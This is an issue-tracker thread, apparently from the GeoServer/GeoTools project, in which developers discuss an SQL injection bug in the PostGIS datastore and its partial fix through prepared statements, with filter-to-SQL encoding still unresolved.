sql-injection

This is a problem with the Postgis datastore – it should be more careful with escaping content put into a query.

This should be a one-line fix, but this bug maybe in different portions of the code (ie. whereever SQL is generated). Quotes in column names is probably another issue (I havent looking into this).

I believe that we generally will check in the column name, since we validate against the featureType before we turn in to sql. So you can't have a <propertyName> with delete's thrown in, since our code wouldn't find them as proper attributes of the featureType.

But this should be checked for all the operations, since one or two may manage to slip by without an featureType validation. Update is the most likely candidate I can think of, we just have to check to be sure.

Try this jar. I'm not sure I built it right, and I'm less than convinced my fix will make it work, but there's a decent chance that it will. So if you have a chance to test it, that'd be great.

I tried for half an hour to replicate the sql-injection, but was unsuccessful.

Could you also upgrade to 1.3.0? It looks like you're using beta4 or something? There's an off chance it may have just been fixed. Or perhaps I'm just not injecting right. I'll play with it tomorrow, but please see if you can upgrade and try again. And if upgrade by itself doesn't work, then try this jar in it.

thanks!

Chris

Ok, that jar won't work, but I have a version on my machine that does work. But it needs to be refactored and/or better tested, so it doesn't break other datastores.

Ok, attaching the code I came up with. It needs some work, as it just works with PostGIS, yet isn't contained within the postGIS package. I tried to move things over so it'd all live in PostGIS, but it ended up having to modify way too many things in the jdbc package, making things public and extending all over the place. So the better thing to do is probably to keep this in JDBC, and fix the datastores that use it.

So the change is that things now use Prepared Statements. This entails a change from getGeometryInsertText, so that it gets '?'s instead of the actual thing, and then puts in a new 'getGeometryObject' to fill in the actual object. It may take a bit of tweaking to get others to work this way. Oracle should already be set up to get the struct. Check with DB2, just email David Adler. MySQL should work the same way as PostGIS.

Note this code was done against 2.1.x. This patch should be against 2.2.x and trunk, since 1.3.1 is going to be against 2.2.x.

This needs to be either fixed by 1.4.0rc3, or delayed to 1.4.1, since we want to release the last rc unchanged we cannot schedule issues against 1.4.0.
Yet this does not seem to be trivial, depending on unfixed gt2 issues. What do you think?

Moving to 1.6.0, as the patches for trunk have been updated and just awaiting some review.

This will probably need to go against 1.7, be done on trunk.

Justin, any chance your new jdbc stuff handles this? Might be a good thing to make sure about. May not need to do prepared statements, but should be sure that one can't do sql injections.

Hello. Any more news on this?

At the moment, we can't store the name O'Toole via WFS-T because it triggers this error. Not to mention that an SQL injection attack is pretty serious, especially if geoserver is being given write access to the DB.

Gabriel, isn't this one fixed (for transactions, at least?)

Gabriel?

sorry for the late response.
This issue is not fixed yet and afaik would require a wide change to fix.
The thing is, when converting a Query to an SQL statement, the sql injection may be done both in the property value being updated as well as in the where clause (that is, the Filter representing the query predicate being encoded as the where clause)

This means sql injection would also be possible through simple getFeatures(Query) (read only) operation, and thus the fix affects how the filters are encoded for jdbc. To do it properly, the filter to sql code should also use prepared statements, something that's not possible right now without a deep change

So are the patches attatched to this issue still relevant?

the issue as reported is fixed as per the resolution of GEOS-1878
That is, injecting malicious sql statements through an attribute value in a PostGis transaction is handled by PosgisFeatureStore using prepared statements.

Yet, GEOT-219 is still relevant, meaning that even though it is not possible to inject malicious code through an attribute value, it may still be possible to do so through the filter criteria, since the translation of filters into sql statements for normal queries do not use prepared statements yet.

See comments in GEOT-219 for a proposed solution